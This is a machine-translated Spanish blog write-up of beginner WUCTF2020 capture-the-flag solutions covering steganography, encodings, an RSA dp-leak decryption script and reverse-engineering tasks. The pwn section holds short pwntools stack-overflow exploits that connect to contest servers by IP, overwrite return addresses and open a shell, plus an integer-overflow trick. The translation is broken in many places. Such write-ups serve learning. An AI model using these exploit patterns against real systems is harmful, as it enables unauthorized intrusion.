Recuerde una competencia para principiantes ctf de la Universidad de Ciencia y Tecnología de Wuhan wuctf2020

En los últimos dos días, participé en una competencia de principiantes en la Universidad de Ciencia y Tecnología de Wuhan. Como soy Xiao Mengxin, no conozco ninguna pregunta difícil. Aquí hay algunas preguntas simples.

Misc
1. Space Club
Inserte la descripción de la imagen aquí
es así después de la apertura, combinado con el tema, se estima que puede ser un montón de espacios o similares, use python para ver

with open("space.txt")as f:
    a=f.read()
    for i in a:
        print (str(ord(i)))

Inserte la descripción de la imagen aquí
El resultado de la ejecución se muestra en la figura, 32 es el código ASCII del espacio y se supone que se utilizará para la separación 10. El número diferente de espacios entre las separaciones es información útil, y luego extraiga

with open("space.txt")as f:
    a=f.read()
    g=0
    s=''
    for i in a:
        if ord(i)==32:
            g=g+1
        else:
            s+=chr(g+97)
            g=0
    print (s)

Inserte la descripción de la imagen aquí
Como inicialmente pensé que el número de espacios representaría letras diferentes, este es el resultado del número de espacios + 97. Encontré que el número de espacios entre los separadores es 6 o 12. A partir de esto, podemos poner g Reemplazar como 0, m como 1 y luego convertir binario a ASCII para obtener la bandera

2.
Inserte la descripción de la imagen aquí
El archivo de bienvenida es así. Después de abrir el exe, la cámara se encenderá. Combinando las tres personas en el título y las indicaciones en la descripción, se concluye que se requieren tres personas para aparecer en la cámara para obtener la bandera, y la imagen no se cargará, por lo que Exponiendo mi hermoso rostro

3.
Una vez descargado el archivo, no hay sufijo. 010editor o winhex muestra que el archivo de encabezado es un archivo pdf. Modifique el sufijo y ábralo con el editor de pdf o Photoshop. Puede ver que la
Inserte la descripción de la imagen aquí
bandera de aviso está bloqueada por la imagen, luego seleccionamos ¡Imagínate que suba para el Señor! Después de arrastrarme, vi el siguiente
Inserte la descripción de la imagen aquí
hexadecimal a ASCII para obtener la bandera

4.
Después de descargar el archivo de la novia , es un audio WAV. Se sospecha que el sonido es esteganografía de tono de marcación. Lo abrí con un software de procesamiento de audio y verifiqué el espectrograma para verificar que la suposición se
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
realizó mediante el método que se muestra en la segunda imagen. Primero probé a simple vista Mira, descubrí que hay demasiados, y mis ojos están casi ciegos. La clave es que es fácil equivocarse. Mi mente estalla directamente. Entonces, de repente recordé que había un guión. Fui a github para hacer un guión, cambie el nombre del archivo en el guión, corrió, y esperó a que
Inserte la descripción de la imagen aquí
999 666 88 2 777 33 6 999 4 444 777 555 333 777 444 33 66 3 7777
estoy felizmente ¿Está mal tomar este montón de cosas para enviar? Cuando lo pienso detenidamente, no parece una bandera durante tanto tiempo. De hecho, soy ingenuo. Pensando en ello de nuevo, parece que debería estar relacionado con el teclado de nueve teclas. 999 representa el tercer carácter y por encima de 9, y * es el separador. La solución son sus amigas. Obviamente, esto debe ser una bandera.

5.
La cuestión de encontrarme es una imagen en formato jpg. Después de descargarla, vi un montón de cosas en los comentarios.
Inserte la descripción de la imagen aquí
No sé qué es. No lo supe hasta Baidu. Se puede resolver
poniéndolo en este sitio web https: //www.qqxiuzi .cn / bianma / wenbenjiami.php? s = mangwen 6.la
Inserte la descripción de la imagen aquí
tienda
aquí necesita conexión nc 47.97.40.187 12306
después de conectarse y descubrió que tiene dinero 2020, la bandera más barata cuesta 999 y no hay límite en la cantidad, la bandera real solo puede comprar una, pero
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Podemos comprar una cierta cantidad de banderas más baratas por 100.000 y usar el desbordamiento de números enteros para hacer realidad el sueño de los multimillonarios. El
Inserte la descripción de la imagen aquí
número puede ser un poco más grande que 2's 31 veces / 999 + 2020/999. Con este dinero, puedes comprar banderas reales.
7.Alison le gusta jojo
Inserte la descripción de la imagen aquí
después de la descarga del archivo, estas son las dos imágenes, la primera mirada a la máquina virtual binwalk, la obtención de un paquete de instalación separable está encriptado, puede explotar una segunda
Inserte la descripción de la imagen aquí
bolsa de compresión de contraseña es esta Un txt, descifrado tres veces con base64 para obtener "killerqueen", porque hay una segunda imagen y no hay otros archivos en ella, se adivina preliminarmente que la segunda imagen fue cifrada por algún software, y killerqueen es la contraseña. Cifre la conjetura y obtenga la bandera

Cripto

1. El
Inserte la descripción de la imagen aquí
cálculo de números grandes es suficiente para la calculadora part3, part4 es integral definida ordinaria, part2 utilizo python y part1 utilicé un sitio web para calcular.

2. B @ se
Inserte la descripción de la imagen aquí
Esta pregunta es para realizar cambios en la tabla base64, simplemente conviértala de nuevo

3. El Buda dijo: Solo pueden ser cuatro días
Inserte la descripción de la imagen aquí
. Cualquiera que esté familiarizado con la contraseña debería conocer este método de encriptación, pero lo que es un poco complicado es que usa el nuevo dicho de Buda aquí, y hay otros nuevos.
http://hi.pcmoe.net/Buddha.html Después de
Inserte la descripción de la imagen aquí
resolverlo es el cifrado de valores centrales socialistas.
Inserte la descripción de la imagen aquí
De acuerdo con las indicaciones, la contraseña de la cerca, elimine _doyouknowfence y continúe descifrando.
Inserte la descripción de la imagen aquí
Encontré esto, por la misma razón, continúo explicando César después de eliminar el final, pero está resuelto Después de una vuelta, no encontré nada, así que supuse que la contraseña de César no era la última.
Luego observé y encontré que esta cadena de caracteres consistía en letras mayúsculas y números de 2 a 7. Luego pensé en base32. El comienzo de la bandera del juego es wctf2020. Toma Esto es para encriptar una ola que
Inserte la descripción de la imagen aquí
comienza
Inserte la descripción de la imagen aquí
con ' O ' y encontrar la cadena de caracteres que comienzan con O en el descifrado de Caesars. El comienzo es exactamente el mismo, lo que indica que la suposición es correcta. Lleve esta cadena de caracteres a base32 para descifrar y obtener la bandera

4.fugas
Inserte la descripción de la imagen aquí
Este es un tema de rsa, el script de descifrado es el siguiente

import gmpy2
import binascii

def getd(n,e,dp):
    for i in range(1,e):
        if (dp*e-1)%i == 0:
            if n%(((dp*e-1)/i)+1)==0:
                p=((dp*e-1)/i)+1
                q=n/(((dp*e-1)/i)+1)
                phi = (p-1)*(q-1)
                d = gmpy2.invert(e,phi)%phi
                return d
e = 65537
n = 156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847
dp = 734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825
c = 108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869
d=getd(n,e,dp)
m=pow(c,d,n)
print binascii.unhexlify(hex(m)[2:])

Ejecutar bandera
Inserte la descripción de la imagen aquí

Re
1.Cr0ssFun
arrastrado a ida
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
es en realidad un muñeco Finalmente, se da el código ASCII de cada carácter de la bandera, y la bandera se puede obtener conectándola.

2.nivel1
Inserte la descripción de la imagen aquí

Inserte la descripción de la imagen aquí
Esta pregunta es un cifrado simple, comprenda el método de cifrado y escriba el script de descifrado de acuerdo con el output.txt dado

3.
Encuentre la bandera en la cadena después del bombardeo upx de nivel 2

Para
Inserte la descripción de la imagen aquí
la pregunta de 4.level3, inicialmente pensé que estaba haciendo algo en base64_encode. Después de analizar durante mucho tiempo, descubrí que la tabla base64 había cambiado. Después de
Inserte la descripción de la imagen aquí
obtener la nueva tabla base64, pude resolver la cadena base64 dada en el código. Obtener bandera

Pwn
1.getshell
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
usa desbordamiento de pila, dirección de retorno 0x08048524 para obtener la bandera

from pwn import *

sh=remote("47.97.40.187",12333)
payload='a'*0x18+'bbbb'+p32(0x08048524)
sh.sendline(payload)
sh.interactive()

2. getshell2
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
usa el desbordamiento de pila y devuelve la dirección 0x08048529 para llamar a la función del sistema, luego encuentra la dirección de la
Inserte la descripción de la imagen aquí
cadena sh y pasa la cadena sh como parámetro a la función del sistema.

from pwn import *

sh=remote("47.97.40.187",12334)
payload='a'*0x18+'bbbb'+p32(0x08048529)+p32(0x08048670)
sh.sendline(payload)
sh.interactive()

3. number_game ha sido
Inserte la descripción de la imagen aquí
probado, el número -2 ^ 31-1 es suficiente

from pwn import *

sh=remote("106.12.48.20",12336)
#payload=str(2147483648)
sh.sendline(str(-2147483649))
sh.interactive()

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/105176874
Recomendado
Clasificación